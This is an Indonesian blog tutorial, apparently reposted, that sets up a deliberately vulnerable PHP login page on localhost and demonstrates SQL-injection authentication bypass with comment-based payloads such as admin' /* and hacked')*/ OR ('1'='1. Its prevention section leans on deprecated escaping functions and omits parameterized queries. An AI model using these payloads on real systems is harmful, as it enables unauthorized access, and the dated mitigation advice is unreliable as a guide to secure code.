SQL injection mengacu pada tindakan seseorang memasukkan pernyataan SQL untuk dijalankan pada database tanpa sepengetahuan kita. Injeksi biasanya terjadi ketika kita meminta pengguna untuk input data, seperti nama atau password mereka. dan bukannya nama, tapi mereka memberikan pernyataan SQL bahwa kita tidak sadar pernyataan SQL tersebut akan berjalan pada database kita.
Download Contoh Halaman Login
- https://dl.dropboxusercontent.com/db_injection.sql.zip
- https://dl.dropboxusercontent.com/web_injection.zip
Cara Penggunaan
- Download contoh form login yang akan di injection
- Import database db_injection.sql.zip via phpmyadmin
- Copy folder web_injection ke dalam folder htdocs
- Buka halaman register untuk mendaftarkan admin baru dengan alamat URL http://localhost/web_injection/register.php
- Buka halaman login dengan alamat URL http://localhost/web_injection/index.php
Query Login yang digunakan
- Jika kemungkinan query menggunakan awalan kutip satu ‘, maka inject dengan kutip dua. contoh querynya sebagai berikut : $query=‘select * from admin where username=”‘.$username.’” and password=MD5(“‘.$password.’”)‘;
- Jika kemungkinan query menggunakan awalan kutip dua “, maka inject dengan kutip satu. contoh querynya berikut : $query=“select * from admin where username=’$username’ and password=MD5(‘$password’)“;
Cara Injection
- Buka halaman login dengan URL http://localhost/web_injection/index.php
- Masukan username admin’ /*
- Masukan password hacked’)*/ OR (’1′=’1
Injection username dan password
- Jika kemungkinan query menggunakan kutip satu, maka inject dengan kutip dua, menggunakan Username : admin” /* Password : hacked”)*/ OR (“1″=”1
- Jika kemungkinan query menggunakan kutip dua, maka inject dengan kutip satu. menggunakan Username : admin’ /* Password : hacked’)*/ OR (’1′=’1
Query inject
select * from admin where username=’ admin’ /* ‘ and password=MD5(‘ hacked’)*/ OR (’1′=’1 ‘)
Menggunakan teknik comment
select * from admin where username=’admin’ /*’ and password=MD5(‘hacked’)*/ OR (’1′=’1′)
Parsing Query setelah di inject
select * from `admin` where `username`=’admin‘ OR (’1′=’1′)
Output
Cara Mencegah SQL Injection
- Menggunakan fungsi PHP mysql_real_escape_string(), htmlentities(), htmlspecialchars(), strip_tags(), stripslashes(), mysql_escape_string(), get_magic_quotes_gpc() dan addslashes()
- Membatasi panjang input box.
- Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
- Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
Referensi
- http://freetexthost.com
- http://www.tizag.com
- http://security.stackexchange.com
- http://www.binushacker.net
- http://www.tech-inside.in
Sekian artikel dari saya semoga bermanfaat untuk teman-teman dan anda semua…aamiin
copas from https://lekkomputer.wordpress.com